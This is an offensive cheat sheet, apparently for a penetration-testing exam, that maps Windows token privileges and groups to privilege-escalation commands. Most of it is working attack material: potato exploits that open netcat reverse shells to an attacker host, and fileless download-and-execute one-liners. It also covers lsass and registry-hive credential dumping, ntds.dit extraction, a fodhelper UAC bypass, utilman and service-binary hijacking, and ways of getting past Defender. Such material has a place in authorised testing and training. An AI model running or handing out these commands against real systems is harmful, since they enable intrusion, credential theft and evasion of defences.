← cd ..

Privileges & groups

Every line of whoami /priv, whoami /groups and id that changes what you do next — what it gives you, and the commands, from the box and from Kali

phases
5
vars
37
commands
113
variables

variables

Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.

target
attacker
internal

once you are on the pivot — the network behind it, the pivot's own address on that network, and the box you are working in there

creds

whatever you land first goes in slot 1 and moves up as you escalate

admin
wordlists

paste this into a fresh terminal

export lport=9001export workdir=.export userlist="$workdir/users.md"export passlist="$workdir/passwords.md"export rockyou=/usr/share/wordlists/rockyou.txtexport seclists=/usr/share/seclists

start

read whoami /priv and whoami /groups together. The privilege says what the token can do, the group says why it has it, and the integrity line at the top says whether any of it is reachable right now

read the output [5]

the two commands

Disabled next to a privilege does not mean you do not have it. It is in the token, and anything that needs it enables it itself. The ones that matter are below

whoami /privwhoami /groupswhoami /allwhoami /groups | findstr /i "mandatory"net localgroup administrators
which integrity you are

Medium with Administrators in the group list is UAC in the way, not permissions — nothing below is needed, you need a shell that was never filtered. High is elevated. System is a service, or a potato that worked

# Mandatory Label\Medium Mandatory Level  : a normal user, or a filtered admin. Check net localgroup administrators# Mandatory Label\High Mandatory Level    : elevated. You are done — go and read the hives# Mandatory Label\System Mandatory Level  : SYSTEM. Same# filtered admin? come back in unfiltered, from kali:evil-winrm -i $ip -u $user1 -p $pass1impacket-psexec "$user1:$pass1@$ip"
the ones everyone has

every token carries SeChangeNotify and SeIncreaseWorkingSet. A desktop logon adds SeShutdown, SeUndock and SeTimeZone. None of them gets you anything — whoami /priv showing only those is a plain user

whoami /priv | findstr /v "SeChangeNotify SeIncreaseWorkingSet SeShutdown SeUndock SeTimeZone"
the lines that are nothing

every privilege and group that has no entry below is here, so a lookup still answers. None of these gets you anything on its own — if it is all whoami shows, the box wants a different route

# privileges — housekeeping the kernel grants services and admins, nothing to abuse:#   SeAudit  SeChangeNotify  SeCreateGlobal  SeCreatePagefile  SeCreatePermanent  SeCreateSymbolicLink#   SeDelegateSessionUserImpersonate  SeIncreaseBasePriority  SeIncreaseQuota  SeIncreaseWorkingSet#   SeLockMemory  SeProfileSingleProcess  SeRelabel  SeSystemEnvironment#   SeSystemProfile  SeSystemtime  SeTimeZone  SeUndock  SeUnsolicitedInput# groups — kept for compatibility, grant nothing since Vista:#   Power Users  Guests  Cryptographic Operators  Replicator  Performance Log Users  Performance Monitor Users#   Network Configuration Operators  Schema Admins (if you are in it you are a domain admin already — check that)#   Pre-Windows 2000 Compatible Access (why null-session and anonymous ldap work against the DC — an explanation, not a finding)
enable one that shows Disabled

most tools do this for you. When one does not — takeown or robocopy saying access denied with the privilege plainly there — enable it in the shell first

iex(iwr http://$lhost:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv# EnableAllTokenPrivs.ps1 — https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1

which first [2]

the output usually has more than one. This is the order that costs the least

a privilege
# SeImpersonate / SeAssignPrimaryToken      : a potato. Five minutes, SYSTEM, nearly every service account# SeBackup                                   : reg save the hives, secretsdump them. On a DC, ntds.dit through diskshadow# SeRestore / SeTakeOwnership                : overwrite something SYSTEM runs — a service binary, or utilman.exe if you have a desktop# SeManageVolume                             : the exploit, then System32 is writable and it is SeRestore again# SeDebug                                    : dump lsass, or spawn under winlogon and inherit SYSTEM# SeLoadDriver                               : capcom. Slow, needs compiling, last
a group
# Administrators + Medium label              : UAC. Come back in over winrm or psexec# Backup Operators                           : SeBackup and SeRestore, and they can log on to the DC# Server Operators                           : change a service on the DC, start it, SYSTEM on the DC# DnsAdmins                                  : a dll into dns.exe on the DC, SYSTEM on the DC# Account Operators                          : put yourself in DnsAdmins, or reset a service account's password# NT AUTHORITY\SERVICE, IIS APPPOOL\*        : you are a service — SeImpersonate is almost certainly in the list# Remote Management / Remote Desktop Users   : not a privesc. A way back in, which is sometimes all you needed

privileges

as whoami /priv lists them, A to Z — only the ones that are a route. The rest are one list under start

SeAssignPrimaryTokenPrivilege [1]exam: likely

replace the primary token of a process you create. Service accounts carry it next to SeImpersonate, and the same potatoes use whichever of the two they find

same as SeImpersonatePrivilege
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd".\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# the full set, and which potato for which windows, is under SeImpersonatePrivilege

SeBackupPrivilege [5]exam: possible

read any file whatever its ACL says, because backup software has to. The bypass only happens when the open asks for backup semantics, so type and copy still fail — reg save, robocopy /b and diskshadow ask for it

confirm it
whoami /priv | findstr /i SeBackupwhoami /groups | findstr /i "Backup Operators"
the local hashes

the two hives are enough for the local Administrator hash — pass it back in over smb or winrm

reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemimpacket-secretsdump -sam sam -system system LOCALevil-winrm -i $ip -u Administrator -H <nt hash>
any file

robocopy copies by name, so you give it the directory and the file separately. Or the backup cmdlets, which are two dlls

robocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtrobocopy /b C:\Users\Administrator\.ssh C:\Windows\Temp\x id_rsaImport-Module .\SeBackupPrivilegeUtils.dll; Import-Module .\SeBackupPrivilegeCmdLets.dllSet-SeBackupPrivilege; Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\proof.txt C:\Windows\Temp\proof.txt -Overwrite
on a DC — ntds.dit

the file is locked, so it comes out of a shadow copy. diskshadow reads a script, and the script wants windows line endings. The SYSTEM hive comes with it or nothing decrypts

diskshadow
printf 'set context persistent nocheckers\nadd volume c: alias cdrive\ncreate\nexpose %%cdrive%% z:\n' | unix2dos > $workdir/.tools/shadow.dsh# on the DC:diskshadow /s C:\Windows\Temp\shadow.dshrobocopy /b z:\Windows\NTDS C:\Windows\Temp\x ntds.ditreg save HKLM\SYSTEM C:\Windows\Temp\x\system# back on kali:impacket-secretsdump -ntds ntds.dit -system system LOCAL
from kali, no shell needed

impacket's reg backup writes the three hives to a share of yours, over the wire, as a Backup Operator. The local Administrator and the machine account come out of it — not the domain, that still wants ntds

impacket-smbserver x $workdir/loot -smb2supportimpacket-reg "$domain/$user1:$pass1@$dc" backup -o "\\\\$lhost\\x"impacket-secretsdump -sam $workdir/loot/SAM.save -system $workdir/loot/SYSTEM.save -security $workdir/loot/SECURITY.save LOCAL

SeCreateTokenPrivilege [1]exam: rare

make a token from nothing, with any groups in it — one holding the local Administrators SID. Needs code, and almost nothing but SYSTEM and lsass has it

the shape of it
# ZwCreateToken with a group list of your choosing, then CreateProcessAsUser with the result# a working PoC — https://github.com/decoder-it/CreateTokenExample — compile, run, cmd as the token# if you actually have this on a user token the box was built to be solved this way. Otherwise look at the rest of the list first

SeDebugPrivilege [4]exam: possible

open any process, including lsass and anything running as SYSTEM. Two uses — read lsass for the password and hash of everyone logged on, or spawn a child of a SYSTEM process and inherit its token. Administrators have it; some service accounts do

confirm it
whoami /priv | findstr /i SeDebug
lsass, with a signed binary

comsvcs.dll is on every box and is Microsoft's, so Defender lets it be. The dump comes back to kali and pypykatz reads it there

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp fullcopy C:\Windows\Temp\lsass.dmp \\$lhost\share\pypykatz lsa minidump $workdir/loot/lsass.dmp
lsass, with mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
become SYSTEM

a new process whose parent is winlogon inherits winlogon's token. psgetsys.ps1 does the parent-process dance; mimikatz's token::elevate does it for its own process, which is enough to read the hives

.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" exitiex(iwr http://$lhost:8000/psgetsys.ps1 -UseBasicParsing); ImpersonateFromParentPid -ppid (Get-Process winlogon).Id -command C:\Windows\Temp\nc.exe -cmdargs "$lhost $lport -e cmd"# psgetsys.ps1 — https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1

SeEnableDelegationPrivilege [1]exam: rare

set the delegation flags on accounts. Mark a computer you control as trusted for unconstrained delegation, or give an account constrained delegation to the DC, and then it is the usual delegation abuse. Granted on DCs to Administrators only, by default

the shape of it
# a user you control, constrained delegation to the DC's cifs, with protocol transition:Set-DomainObject -Identity $user1 -Set @{'msds-allowedtodelegateto'='cifs/$dc'}Set-DomainObject -Identity $user1 -Set @{'useraccountcontrol'=16777216}impacket-getST -spn cifs/$dc -impersonate Administrator "$domain/$user1:$pass1" -dc-ip $ip# the rest is AllowedToDelegate on the bloodhound page

SeImpersonatePrivilege [12]exam: likely

impersonate any client that authenticates to you — and a potato makes SYSTEM authenticate to you. Every service account has it, IIS and MSSQL included, which is why a web shell or xp_cmdshell so often ends in SYSTEM within five minutes. The most common windows privesc on the exam

what every potato does, and what to check first

they all make SYSTEM authenticate to a listener on the box itself, then use this privilege to take that token. They differ only in how they provoke SYSTEM, which is what decides which one works on which windows. Four checks pick the potato — the version, the .NET on the box, the spooler, and whether Defender is on

whoami /priv | findstr /i "impersonate assignprimary"systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"dir C:\Windows\Microsoft.NET\Framework64   # v2.0.50727, v3.5, v4.0.30319 — pick the potato build to matchGet-Service SpoolerGet-MpComputerStatus | select AntivirusEnabled,RealTimeProtectionEnabled# GodPotato      : 2012 to 2022, 10 and 11. Needs nothing. The default pick# SigmaPotato    : GodPotato with --revshell and in-memory loading. .NET 4# PrintSpoofer   : 10 / 2016 / 2019, spooler running. One exe, no .NET# JuicyPotatoNG  : 10 1809+ / 2019 / 2022. Needs local port 10247 free# JuicyPotato    : 10 up to 1803 / 2016 / 2012 and older. Needs a CLSID for that OS. Dead on 1809+# RoguePotato    : 10 1809+ / 2019, when the others are caught. Needs 135 forwarded back from your kali# EfsPotato      : 2008 to 2022. One .cs file — compiles on the box with csc, so it gets past a download filter
GodPotato GodPotato ↗

the default. Three builds, one per .NET — NET4 on anything from 2012 R2 up, NET2 on 2008 and 2012. Catch the shell with the listener already up

# kali: curl -LO https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe   (also -NET2, -NET35)iwr http://$lhost:8000/GodPotato-NET4.exe -OutFile C:\Windows\Temp\g.exeC:\Windows\Temp\g.exe -cmd "cmd /c whoami"C:\Windows\Temp\g.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"
SigmaPotato SigmaPotato ↗

GodPotato rebuilt with a reverse shell flag and a PowerShell loader, so it never has to touch the disk — which is what gets it past Defender when g.exe is eaten

# kali: curl -LO https://github.com/tylerdotrar/SigmaPotato/releases/latest/download/SigmaPotato.exe.\SigmaPotato.exe --revshell $lhost $lport.\SigmaPotato.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# in memory, per its readme:[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://$lhost:8000/SigmaPotato.exe')) | Out-Null; [SigmaPotato]::Main("--revshell $lhost $lport")
PrintSpoofer PrintSpoofer ↗

the spooler's named pipe. No .NET, one exe, instant — when the Spooler service is running, which it is on nearly every 10 / 2016 / 2019 image. -i gives you the shell in the same window when you already have an interactive one; -c when you do not

# kali: curl -LO https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe   (PrintSpoofer32.exe for a 32-bit box)Get-Service Spooler.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"
JuicyPotatoNG JuicyPotatoNG ↗

the 2022 rewrite for the builds that killed JuicyPotato. It listens on 10247 by default; if that is taken, -l picks another. -t * tries both CreateProcessWithToken and CreateProcessAsUser

# kali: curl -LO https://github.com/antonioCoco/JuicyPotatoNG/releases/latest/download/JuicyPotatoNG.zip && unzip -o JuicyPotatoNG.zipnetstat -ano | findstr 10247.\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\nc.exe" -a "$lhost $lport -e cmd".\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c net localgroup administrators $user1 /add"
JuicyPotato — 2016 and older JuicyPotato and the CLSID list ↗

the original. It needs a CLSID of a DCOM server that runs as SYSTEM on that exact windows, and the list on its site is sorted by version. Try two or three until one says [+] authresult 0. Nothing after 10 1803 and 2019 — go up a card

# kali: curl -LO https://github.com/ohpe/juicy-potato/releases/latest/download/JuicyPotato.exe   (32-bit: github.com/ivanitlearning/Juicy-Potato-x86)# CLSIDs: http://ohpe.it/juicy-potato/CLSID/ — pick the page for the OS. 2016 and 10: {e60687f7-01a1-40aa-86ac-db1cbf673334} is the one that usually works.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe $lhost $lport -e cmd" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup administrators $user1 /add" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}
RoguePotato RoguePotato ↗

JuicyPotato with the part windows blocked moved to your kali — the box asks your 135 where the DCOM server is, and socat points it back at the box. So it needs a route from the box to you on 135, which the exam network has

# kali: curl -LO https://github.com/antonioCoco/RoguePotato/releases/latest/download/RoguePotato.zip && unzip -o RoguePotato.zipsudo socat tcp-listen:135,reuseaddr,fork tcp:$ip:9999# on the box:.\RoguePotato.exe -r $lhost -l 9999 -e "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"
EfsPotato — compile it on the box EfsPotato ↗

PetitPotam's EFS trigger, pointed at the box itself. It is one C# file, and every windows has the .NET compiler in it — so when nothing you upload survives Defender, the source goes up as text and the exe is born on the box. Pick the csc that matches the .NET folder you saw above

# kali: curl -LO https://raw.githubusercontent.com/zcgonvh/EfsPotato/master/EfsPotato.csiwr http://$lhost:8000/EfsPotato.cs -OutFile C:\Windows\Temp\e.csC:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /nowarn:1691,618 /out:C:\Windows\Temp\e.exe C:\Windows\Temp\e.csC:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe /nowarn:1691,618 /out:C:\Windows\Temp\e.exe C:\Windows\Temp\e.cs   # .NET 3.5 boxesC:\Windows\Temp\e.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"
compiling the others yourself

when a release is gone or Defender knows its hash. C# projects need windows and Visual Studio — build on a windows VM, or take a prebuilt one from SharpCollection. C projects cross-compile on kali. Changing a string or two in the source is often enough for a fresh hash

# C — PrintSpoofer, RoguePotato, JuicyPotato are C++ and want Visual Studio; mingw does plain C only:x86_64-w64-mingw32-gcc tool.c -o tool.exe -lws2_32# C# single file — EfsPotato, or any one-file .cs — on kali without windows:sudo apt install -y mono-mcs && mcs -out:tool.exe tool.cs# C# with a .sln — GodPotato, SigmaPotato, JuicyPotatoNG: windows VM, Visual Studio, Build > Release. Or:# https://github.com/Flangvik/SharpCollection — prebuilt .NET tools, per framework version, rebuilt nightly
they all failed
# whoami /priv does not actually list SeImpersonate — a hardened service. Services, tasks and creds instead# the box is 32-bit — the 64 binaries fail silently. PrintSpoofer32, Juicy-Potato-x86# Defender ate it — SigmaPotato in memory, or EfsPotato compiled on the box, or rename and recompile# the shell dies before you see output — write it to a file: -cmd "cmd /c whoami > C:\Windows\Temp\o.txt"# the potato says it worked and nothing connects — the firewall blocks the outbound port; try 443, or add a user and come back in over winrm
from xp_cmdshell or a web shell

no interactive shell needed — the potato is the shell. Quote the inner command once for the potato and once for whatever you are typing into

xp_cmdshell "C:\Windows\Temp\GodPotato-NET4.exe -cmd \"C:\Windows\Temp\nc.exe $lhost $lport -e cmd\""curl -s "http://$ip/shell.aspx?c=C:\Windows\Temp\GodPotato-NET4.exe+-cmd+%22C:\Windows\Temp\nc.exe+$lhost+$lport+-e+cmd%22"
then

you are SYSTEM. Proof, then the hives, then a domain credential if the box is joined — the machine account is one

type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" exitreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security

SeLoadDriverPrivilege [1]exam: rare

load a kernel driver. Drivers must be signed, so you load Capcom.sys — signed, and it runs whatever shellcode you hand it. Print Operators have this on DCs, which is the only place it turns up for a user

the shape of it

two binaries to build — EoPLoadDriver registers the driver under HKCU and loads it, ExploitCapcom talks to it. ExploitCapcom launches cmd.exe on the desktop by default; edit it to run your nc line before compiling, since you rarely have a desktop

# Capcom.sys, EoPLoadDriver, ExploitCapcom — github: FuzzySecurity/Capcom-Rootkit, TarlogicSecurity/EoPLoadDriver, tandasat/ExploitCapcom.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys.\ExploitCapcom.exe# the driver stays loaded until reboot; the key does not clean itself upreg delete HKCU\System\CurrentControlSet\MyService /f

SeMachineAccountPrivilege [1]exam: none

add computers to the domain. Every authenticated user has it, ten times over — MachineAccountQuota. Not a privesc; it is what makes resource-based constrained delegation possible when something lets you write to a computer object

use it when an edge needs a computer you control
nxc ldap $dc -u $user1 -p $pass1 -M maqimpacket-addcomputer "$domain/$user1:$pass1" -computer-name 'FAKE01$' -computer-pass 'FakePass123!' -dc-ip $ip# then AddAllowedToAct, or GenericWrite on a computer, on the bloodhound page

SeManageVolumePrivilege [3]exam: possible

volume maintenance tasks, which the exploit turns into full control of C:\ for everyone. After it, System32 is yours to write — so it is SeRestorePrivilege by another route. Granted to a user when something needed to defragment or set up a database

confirm it
whoami /priv | findstr /i SeManageVolume
run it

one binary, no arguments. Check the ACL on C:\ afterwards — Users should now show (F)

.\SeManageVolumeExploit.exeicacls C:\ | findstr /i "users everyone"icacls C:\Windows\System32 | findstr /i "users everyone"
then write something SYSTEM runs

the same moves as SeRestorePrivilege. A service binary, or utilman.exe if you have the lock screen. The printconfig route makes the spooler load your dll as SYSTEM without a desktop

# a service running as SYSTEM that you can restart, whose binary is now writable:sc qc <service> | findstr BINARY_PATH_NAMEcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># or the spooler — it loads this dll as SYSTEM when a print notification object is created:copy /y C:\Windows\Temp\evil.dll C:\Windows\System32\spool\drivers\x64\3\PrintConfig.dll$t=[Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}"); $o=[Activator]::CreateInstance($t); $o.Open()

SeRemoteShutdownPrivilege [1]exam: none

reboot the box from the network. The one use is the same as SeShutdown — a service you repointed that is set to start automatically, which you cannot restart yourself

reboot it
shutdown /r /t 0 /m \\$ip

SeRestorePrivilege [4]exam: possible

write any file whatever its ACL says, for the same reason SeBackup can read it. The bypass needs the open to ask for restore semantics, so plain copy fails — robocopy /b asks, and the registry route sidesteps files altogether. Overwrite something SYSTEM runs

confirm it
whoami /priv | findstr /i SeRestore
a service as SYSTEM, through the registry

SeRestoreAbuse points the seclogon service's ImagePath at your command and starts it. No desktop needed, nothing on disk changes

.\SeRestoreAbuse.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# https://github.com/xct/SeRestoreAbuse
overwrite a binary SYSTEM runs

robocopy copies by name into a directory, so stage the file under the name it has to land as. A service binary and a restart, or utilman.exe and the lock screen if you have rdp

copy C:\Windows\Temp\svc.exe C:\Windows\Temp\x\service.exerobocopy /b C:\Windows\Temp\x "C:\path\to" service.exesc stop <service> & sc start <service># the lock screen route:copy C:\Windows\System32\cmd.exe C:\Windows\Temp\x\utilman.exerobocopy /b C:\Windows\Temp\x C:\Windows\System32 utilman.exe# lock the screen, click ease of access (or Win+U) — cmd as SYSTEM
if it says access denied anyway

the privilege is there but disabled in this token, and robocopy does not enable it. Enable the lot

iex(iwr http://$lhost:8000/EnableAllTokenPrivs.ps1 -UseBasicParsing); whoami /priv | findstr /i SeRestore

SeSecurityPrivilege [1]exam: rare

manage the security log — read it and clear it. Process creation events carry the command line when that audit is on, and people type passwords on command lines

passwords in the security log
wevtutil qe Security /q:"*[System[(EventID=4688)]]" /f:text /rd:true | findstr /i "Process Command Line"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} | % { $_.Properties[8].Value } | findstr /i "pass user net"Get-WinEvent -FilterHashtable @{LogName='Security';Id=4624} | select -First 20 TimeCreated,@{n='user';e={$_.Properties[5].Value}}

SeShutdownPrivilege [1]exam: none

reboot. Not a privesc — but when you have repointed a service that is set to start automatically and cannot restart it, a reboot restarts it for you

reboot it
whoami /priv | findstr SeShutdown && shutdown /r /t 0

SeSyncAgentPrivilege [1]exam: rare

synchronise directory service data — the right to read every object for replication, which is to say a DCSync-shaped read. Nobody has it by default, so if a user does, the box put it there

treat it as replication rights
impacket-secretsdump "$domain/$user1:$pass1@$dc" -just-dc-ntlm

SeTakeOwnershipPrivilege [3]exam: possible

take ownership of any object, and an owner can rewrite the ACL. Two commands to own any file, then it is a plain overwrite of something SYSTEM runs

confirm it
whoami /priv | findstr /i SeTakeOwnership
own it, grant yourself, overwrite it

a service binary and a restart. Or utilman.exe and the lock screen when you have rdp — that leaves the lock screen broken, so put it back after

takeown /f "C:\path\to\service.exe" && icacls "C:\path\to\service.exe" /grant %USERNAME%:Fcopy /y C:\Windows\Temp\svc.exe "C:\path\to\service.exe" & sc stop <service> & sc start <service># the lock screen route:takeown /f C:\Windows\System32\utilman.exe && icacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\utilman.exe C:\Windows\Temp\utilman.bak & copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# lock the screen, Win+U — cmd as SYSTEM. Afterwards: copy /y C:\Windows\Temp\utilman.bak C:\Windows\System32\utilman.exe
a registry key instead of a file

the same idea against a service's ImagePath when the binary is somewhere you cannot reach — take ownership of the key, grant yourself, point it at your command

$k='HKLM:\SYSTEM\CurrentControlSet\Services\<service>'; $a=Get-Acl $k; $a.SetOwner([System.Security.Principal.NTAccount]$env:USERNAME); Set-Acl $k $a$a=Get-Acl $k; $a.AddAccessRule((New-Object System.Security.AccessControl.RegistryAccessRule($env:USERNAME,'FullControl','Allow'))); Set-Acl $k $areg add "HKLM\SYSTEM\CurrentControlSet\Services\<service>" /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /fsc stop <service> & sc start <service>

SeTcbPrivilege [1]exam: rare

act as part of the operating system — the privilege lsass uses to make tokens. A process with it can log any user on without a password and add groups to the result. Nothing but SYSTEM has it by default; a user with it is the whole box

the shape of it
# LsaLogonUser with an S4U logon for Administrator, the local Administrators SID added to the token, then CreateProcessWithToken# a working PoC in C# — https://github.com/decoder-it/SeTcbPrivilege — compile, run, cmd as SYSTEM# practical: anything that has SeTcb has SeDebug and SeImpersonate too. Use those first, they need no compiler

SeTrustedCredManAccessPrivilege [1]exam: rare

read the Credential Manager as a trusted caller — the saved rdp, web and network passwords of every user on the box, without their master key. Nothing has it by default

dump the vaults
# PrivFu has a PoC that backs every user's credentials up to a file — github: daem0nc0re/PrivFu, PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC.\SeTrustedCredManAccessPrivilegePoC.exe C:\Windows\Temp\creds.bin# the README there says how to read the backup. The quicker check is whether cmdkey /list already shows something as you

local

the integrity label, the logon identities and the BUILTIN groups, as whoami /groups lists them. The label at the top decides more than anything under it

Mandatory Label\Medium Mandatory Level [4]exam: likely

a normal user's token — or an administrator's, filtered by UAC. If BUILTIN\Administrators is further down the same list, nothing on this page is needed. You are an admin whose shell was never elevated

is it the filtered-admin case
whoami /groups | findstr /i "mandatory administrators"net localgroup administrators
get a shell that was never filtered

network logons for domain accounts and for the built-in Administrator are not filtered. Any other local account is filtered remotely too, unless LocalAccountTokenFilterPolicy is set — which an elevated shell can do

evil-winrm -i $ip -u $user1 -p $pass1impacket-psexec "$domain/$user1:$pass1@$ip"impacket-wmiexec "$user1:$pass1@$ip"reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
or bypass uac where you are

needs an interactive session — a desktop, or a shell spawned from one. fodhelper auto-elevates and reads its command from a key you can write. Put the key back after

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /freg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /ffodhelper.exereg delete HKCU\Software\Classes\ms-settings /f
a scheduled task, when you have the password

a task created with explicit credentials runs with a whole token, filtered or not

schtasks /create /tn x /tr "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /sc once /st 00:00 /ru $user1 /rp $pass1 /rl highest /f & schtasks /run /tn x

Mandatory Label\High Mandatory Level [1]exam: likely

elevated. UAC is behind you and the token is whole. Nothing on this page is needed — read the hives, take the proof

you are done
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfigreg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\system & reg save HKLM\SECURITY C:\Windows\Temp\security.\mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" exit

Mandatory Label\System Mandatory Level [1]exam: likely

SYSTEM, or a service running as it. Same as High — and if the box is domain-joined, the machine account is a domain credential now

you are done, and maybe further
type C:\Users\Administrator\Desktop\proof.txt & whoami & hostname & ipconfig.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "lsadump::secrets" exit# the machine account — enumerate the domain and roast as the computer:.\SharpHound.exe -c All.\Rubeus.exe kerberoast /nowrap

Mandatory Label\Low Mandatory Level [1]exam: rare

a sandboxed token — a browser's renderer, a service made to drop its label. It cannot write to most of its own profile, never mind the system, so nothing on this page works from here. The move is a shell that was not born in the sandbox

get out of it
# a new logon is a new token. Any credential you hold, from outside:evil-winrm -i $ip -u $user1 -p $pass1xfreerdp /v:$ip /u:$user1 /p:$pass1 /cert:ignore# what the sandbox can still write to, for parking a file:echo %TEMP%\Low

NT AUTHORITY\INTERACTIVE [1]exam: none

a desktop or rdp logon. The tricks that need a desktop are available — runas, saved credentials, the uac bypasses, the lock-screen swap

what it unlocks
cmdkey /listrunas /savecred /user:$domain\$adminu "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# Mandatory Label\Medium, above, for fodhelper

NT AUTHORITY\NETWORK [1]exam: none

you came in over the network — winrm, smb, a web shell. No desktop, so nothing that needs one. Everything else works, and for an admin account the token is already unfiltered

what it rules out
# no runas, no fodhelper, no utilman. Potatoes, services, tasks and the hives are all finewhoami /priv

NT AUTHORITY\SERVICE [1]exam: likely

you are a service account — a web shell under IIS, xp_cmdshell under MSSQL, a scheduled task. SeImpersonatePrivilege is almost certainly in whoami /priv, and that is a potato away from SYSTEM

confirm, then the potato
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"# the full set is under SeImpersonatePrivilege

NT AUTHORITY\NETWORK SERVICE, NT AUTHORITY\LOCAL SERVICE [2]exam: likely

the two built-in service identities. Both normally carry SeImpersonate, so it is the potato again. The difference is what they are to the network — NETWORK SERVICE authenticates as the machine account, which on a joined box is a domain credential; LOCAL SERVICE authenticates as nobody

confirm, then the potato
whoami /priv | findstr /i impersonate.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd"
SeImpersonate is missing

a hardened service can have it stripped. Then it is the ordinary route — what does this identity own, write to, or run

.\accesschk.exe /accepteula -uwcqv "NETWORK SERVICE" *.\accesschk.exe /accepteula -uwdq "NETWORK SERVICE" C:\.\accesschk.exe /accepteula -uwdq "LOCAL SERVICE" C:\

NT SERVICE\MSSQLSERVER, NT SERVICE\MSSQL$INSTANCE [2]exam: likely

a virtual service account — the database engine itself. This is the xp_cmdshell shell. SeImpersonate is in the token, and the potato runs straight from xp_cmdshell, no interactive shell needed

the potato, from inside sql
xp_cmdshell "whoami /priv | findstr /i impersonate"xp_cmdshell "powershell -c iwr http://$lhost:8000/GodPotato-NET4.exe -OutFile C:\Windows\Temp\g.exe; iwr http://$lhost:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"xp_cmdshell "C:\Windows\Temp\g.exe -cmd \"C:\Windows\Temp\nc.exe $lhost $lport -e cmd\""
the service account is a domain user instead

whoami says DOMAIN\svc_sql rather than NT SERVICE — then it is a real account, its password is in LSA secrets, and it may be admin elsewhere

# once SYSTEM here:.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" exitnxc smb $subnet -u svc_sql -p '<from _SC_MSSQLSERVER>'

NT AUTHORITY\REMOTE INTERACTIVE LOGON, CONSOLE LOGON, NT AUTHORITY\BATCH [1]exam: none

how this session started, not what it can do. REMOTE INTERACTIVE is rdp and CONSOLE LOGON the keyboard — both are desktops, so everything under INTERACTIVE applies. BATCH is a scheduled task — you are inside something that runs on a timer, as whoever it was set to run as

what it tells you
# rdp or console : fodhelper, runas, saved credentials and the lock-screen swap are all available# batch          : no desktop. Find the task — it says who you are, and when you run againschtasks /query /fo LIST /v | findstr /i "TaskName Run Task"

NT AUTHORITY\NTLM Authentication, Kerberos Authentication, This Organization [1]exam: none

how the logon was proved. NTLM Authentication means the box took a password or a hash over the network — pass-the-hash works here. Kerberos Authentication means there is a TGT in this session, which goes wherever NTLM is refused. This Organization is every domain logon and says nothing

what is in the session
klist.\Rubeus.exe triage

NT AUTHORITY\Local account and member of Administrators group [1]exam: possible

